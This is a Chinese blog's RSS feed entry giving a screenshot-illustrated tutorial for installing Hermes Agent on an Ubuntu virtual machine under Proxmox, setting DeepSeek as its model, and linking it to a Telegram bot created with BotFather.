<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <title>云泽の小屋</title>
    <link href="https://old.zeyun.org/feed.xml" rel="self" />
    <link href="https://old.zeyun.org" />
    <updated>2026-07-15T07:04:52+09:00</updated>
    <author>
        <name>云泽</name>
    </author>
    <id>https://old.zeyun.org</id>

    <entry>
        <title>使用 PVE 内网部署 Hermes Agent</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/hermes_global.html"/>
        <id>https://old.zeyun.org/hermes_global.html</id>
            <category term="Ai 工具推荐"/>

        <updated>2026-07-15T05:49:36+09:00</updated>
            <summary>
                <![CDATA[
                    前言： 首先需要注意的是，本教程适用于具有科学上网环境的用户进行使用，如果您没有科学上网的环境，请点击此链接，进行离线安装教程：点我前往离线安装篇 本篇教程会从零基础的 Hermes 安装部署，再到与&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <h4>前言：</h4>
<p>首先需要注意的是，本教程适用于具有科学上网环境的用户进行使用，如果您没有科学上网的环境，请点击此链接，进行离线安装教程：<a href="#" target="_blank" rel="noopener noreferrer">点我前往离线安装篇</a></p>
<p><strong>本篇教程会从零基础的 Hermes 安装部署，再到与 Telegram Bot 对接</strong></p>
<h5 class="align-left">搭建环境推荐：</h5>
<ul style="list-style-type: square;">
<li>一台可以做到长期不关机的电脑（如果宿主机断了，你的Ai对话也就断了）</li>
<li>需要你有一个 Telegram 账户（以便于开通Telegram Bot）</li>
<li>安装Hermes的电脑的系统需要为Linux（无需图形化界面）</li>
<li>Linux系统可以科学上网（需要拉取 Hermes 相关包）</li>
</ul>
<h5 class="align-center">本教程的示例配置如下</h5>
<ul style="list-style-type: square;">
<li>使用 Proxmox Virtual Environment 9.1.6</li>
<li>Hermes 所占用资源分配为：CPU R7 4750U，2core，4GB RAM 40GB ROM</li>
<li>系统为 Ubuntu 24.04.4-live-server-amd64</li>
</ul>
<h5 class="align-center">我的相关配置思路如下</h5>
<ul style="list-style-type: square;">
<li>科学上网配置，我这里使用的是 ImmortalWrt ，作为软路由整个 PVE 网络的出口，管辖所有的虚拟机（其中包括 Hermes 的宿主机）</li>
<li>网段我选择的是 ImmortalWrt 作为接入家庭网络的旁路由，具有固定的家庭网络同网段IP（主路由下发的IP 192.168.31.11）Hermes 则是使用的是由 ImmortalWrt 划分出来的新子网（10.10.10.0网段）</li>
<li><a href="https://old.zeyun.org/use_wireguard_home_to_home.html" target="_blank" rel="noopener noreferrer">点我跳转关于 ImmortalWrt+WireGuard 跨网段配置部分</a></li>
<li><a href="https://old.zeyun.org/security_enhancement_of-cloud_servers.html">点我跳转 Ubuntu server的安装部分</a></li>
</ul>
<p><strong>这里我直接跳过科学上网配置以及虚拟机安装的相关部分，默认你已经具备了远程ssh连接上机器这台Linux，并且这台机器具备科学上网的能力</strong></p>
<p class="align-center"><strong>（关于Ubuntu系统安装配置部分，可跳转我的博客相关文章）</strong></p>
<h4 class="align-center">第一部分：拉取Hermes-Agent官方脚本</h4>
<p>stp1：更新包管理器</p>
<pre class="language-bash line-numbers"><code>sudo apt update</code></pre>
<p>stp2：拉取安装脚本</p>
<pre class="language-bash line-numbers"><code>curl -fsSLO https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh</code></pre>
<p>stp3：查看脚本</p>
<pre class="language-bash line-numbers"><code>less install.sh</code></pre>
<p>如果显示以下内容即为成功拉取脚本</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053210.png" alt="" width="2450" height="1367" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-xl.webp 1024w"></figure>
<p>stp4：按下键盘的<code>q</code>，退出查看</p>
<p>执行以下命令，进行安装</p>
<pre class="language-bash line-numbers"><code>bash install.sh</code></pre>
<p>会自动拉取一长串脚本里的内容</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053446.png" alt="" width="2449" height="782" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-xl.webp 1024w"></figure>
<p>耐心等待进度条跑完</p>
<h4 class="align-center">第二部分：开始按照脚本部署Hermes</h4>
<h6 class="align-center">如果中途出现意外打断脚本的情况（例如不小心或者出现卡死，按下了ctrl+c）可查看本部分的末尾，自行恢复</h6>
<p>stp1：这里一步骤输入y，安装<strong><span class="_animating_6ta1u_10" data-newtext-seq="4">Playwright</span></strong><span class="_animating_6ta1u_10" data-newtext-seq="4">（一个浏览器自动</span><span class="_animating_6ta1u_10" data-newtext-seq="30">化工具库），用来给 Hermes </span><span class="_animating_6ta1u_10" data-newtext-seq="47">的"浏览器工具"（browser tools）功能提供支持</span></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053724.png" alt="" width="1072" height="1000" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-xl.webp 1024w"></figure>
<p>stp2：按向下键，选择<code>Full setup</code>选项</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053853.png" alt="" width="1537" height="219" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-xl.webp 1024w"></figure>
<p>stp3：按需选择对应模型</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054209.png" alt="" width="1562" height="1245" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-xl.webp 1024w"></figure>
<p>这里我选择DeepSeek作为演示（DeepSeek API：<a href="https://platform.deepseek.com/" target="_blank" rel="noopener noreferrer">点我前往官方购买</a>）</p>
<p><code>*建议</code>：第一次买的话，不要买多，10块钱的就可以了</p>
<p>stp4：填入你的API KEY，并再次按下回车</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054403.png" alt="" width="2440" height="1133" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-xl.webp 1024w"></figure>
<p>stp5：模型选择部分，这里我选择v4-flash（v4-pro太烧token，选择flash我认为完全够用）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054640.png" alt="" width="919" height="291" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-xl.webp 1024w"></figure>
<p>stp6：除非你有特殊需求，否则这里直接选择最后一个即可</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054814.png" alt="" width="1032" height="318" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-xl.webp 1024w"></figure>
<p>stp7：对接部分，这里选择Telegram，并按下空格，再次回车即可</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-055022.png" alt="" width="1015" height="910" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-xl.webp 1024w"></figure>
<p>stp8：这里我们选择2，使用官方的Bot Father来进行对接</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-055239.png" alt="" width="1057" height="359" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-xl.webp 1024w"></figure>
<p>stp9：打开你的网页版 Telegram（手机端也是同理）</p>
<p>搜索@botfather（注意是下图的这个，后面有一个紫色小勾的，不是其他的）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/botfather.png" alt="" width="344" height="513" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/botfather-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/botfather-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/botfather-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/botfather-xl.webp 1024w"></figure>
<p>stp10：获取 Token API &amp; User id</p>
<p>打开这个对话后，依次输入</p>
<pre class="language-bash line-numbers"><code>/start</code></pre>
<p>创建新机器人</p>
<pre class="language-bash line-numbers"><code>/newbot</code></pre>
<p>他会让你给你的机器人取一个独一无二的名字</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-055906.png" alt="" width="1370" height="195" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-xl.webp 1024w"></figure>
<p>你的名称格式必须要以<code>_bot</code>结尾</p>
<p>例如我这里取名是</p>
<pre class="language-bash line-numbers"><code>fsdertest_bot
你的名字+_bot</code></pre>
<p>随后你会看到独属于你的机器人发给你的密钥（注意，千万不要泄露！！！）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Mi-Yao-Bu-Fen.png" alt="" width="1329" height="672" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-xl.webp 1024w"></figure>
<p>把他复制粘贴给之前的终端里，按下回车，他会让你输入你的 User ID</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-060754.png" alt="" width="1084" height="663" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-xl.webp 1024w"></figure>
<p>你需要继续搜索这个叫做<code>@userinfobot</code></p>
<p>注意，这里要选择前面有这个白色皇冠认证的</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/useridbot.png" alt="" width="358" height="547" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/useridbot-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/useridbot-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/useridbot-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/useridbot-xl.webp 1024w"></figure>
<p>随后向他发送</p>
<pre class="language-bash line-numbers"><code>/start</code></pre>
<p>你就会看到你的ID，复制并粘贴到这之前的终端里</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/userid.png" alt="" width="1357" height="563" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/userid-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/userid-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/userid-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/userid-xl.webp 1024w"></figure>
<p>stp11：选择bot的接收频道</p>
<ul>
<li class="font-claude-response-body whitespace-normal break-words pl-2">如果你<strong>只想通过 Telegram 私聊</strong>跟 Hermes 交互，接收所有通知 → 输入 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">Y</code></li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">如果你以后打算让 Hermes 把消息发到某个<strong>群组或频道</strong>而不是私聊 → 输入 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">n</code>，然后系统会让你手动填别的频道/群组 ID</li>
<li><strong>把 Hermes 的"网关"（gateway）注册成 systemd 服务</strong>，也就是让它常驻后台运行，开机自启</li>
</ul>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-061504.png" alt="" width="1471" height="379" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-xl.webp 1024w"></figure>
<p>默认的话和我一样都输入<code>Y</code>，即可</p>
<p>stp12：设置网关为系统服务</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-061903.png" alt="" width="1419" height="179" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-xl.webp 1024w"></figure>
<p>如果你想自己管理他的启动，那么就选择第二个跳过</p>
<p>stp13：是否现在启动</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-062135.png" alt="" width="905" height="298" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-xl.webp 1024w"></figure>
<p>这里直接输入Y（或者默认回车），即可</p>
<p>stp14：根据自己的需求，进行对应的功能性质选择<br>我的选择如下，仅供参考</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-062453.png" alt="" width="1468" height="819" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-xl.webp 1024w"></figure>
<p>stp15：选择内置浏览器</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-062925.png" alt="" width="2355" height="318" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-xl.webp 1024w"></figure>
<p>直接默认免费的即可（如果你有对应的API，也可使用其他的）</p>
<p>下一步直接回车即可</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063049.png" alt="" width="961" height="193" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-xl.webp 1024w"></figure>
<p>stp16：选择搜索引擎</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063251.png" alt="" width="2206" height="437" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-xl.webp 1024w"></figure>
<p>选择和我上图一样的，免费的即可</p>
<p>stp17：选择 Telegram 工具</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063434.png" alt="" width="1475" height="825" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-xl.webp 1024w"></figure>
<p>我的建议是取消勾选画图和图像识别（如果你有API，那可以使用）</p>
<p>stp18：再次选择浏览器提供商</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063709.png" alt="" width="2335" height="330" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-xl.webp 1024w"></figure>
<p>这里将会显示<code>[active]</code>激活状态</p>
<p>stp19：语言转文字服务提供商</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063901.png" alt="" width="2046" height="450" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-xl.webp 1024w"></figure>
<p>这里直接默认免费的即可</p>
<p>stp20：再次确认搜索引擎</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064020.png" alt="" width="2383" height="450" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-xl.webp 1024w"></figure>
<p>这里将会显示<code>[active]</code>激活状态</p>
<h4 class="align-center">第三部分：最终确认配置</h4>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064125.png" alt="" width="1153" height="1315" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-xl.webp 1024w"></figure>
<p>这会自动把网关配置为我们在最开始提到的后台服务（如 Systemd 用户服务），让它能够一直在后台稳定守候、处理消息，即使你关掉终端也不会断线</p>
<p class="align-center"><code>*温馨提示</code>：如果Ctrl+C 打断了配置怎么办</p>
<p>或者后续脚本遇到了任何意外所导致的退出，那么请你先输入以下的命令</p>
<pre class="language-bash line-numbers"><code>source ~/.bashrc</code></pre>
<p class="font-claude-response-body break-words whitespace-normal"><strong>可以再次按照当前进度，输入对应的恢复方式</strong>：</p>
<div class="overflow-x-auto w-full px-2 mb-6">
<table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal">
<thead class="text-left">
<tr>
<th class="text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold" scope="col">命令</th>
<th class="text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold" scope="col">只重配这一部分</th>
</tr>
</thead>
<tbody>
<tr>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">hermes setup</code></td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top">完整向导（全部重来）</td>
</tr>
<tr>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">hermes setup tools</code></td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top">只配工具</td>
</tr>
<tr>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">hermes setup model</code></td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top">只配模型/provider</td>
</tr>
<tr>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">hermes setup gateway</code></td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top">只配消息平台</td>
</tr>
<tr>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">hermes setup terminal</code></td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top">只配 terminal backend</td>
</tr>
</tbody>
</table>
</div>
<h6 class="align-center">可自行根据上述的表格来进行自己恢复对应的进度</h6>
<h4 class="align-center">聊天部分</h4>
<p>再次在 Telegram 里搜索刚刚创建的机器人名字，就能找到你的机器人，并可以成功聊天</p>
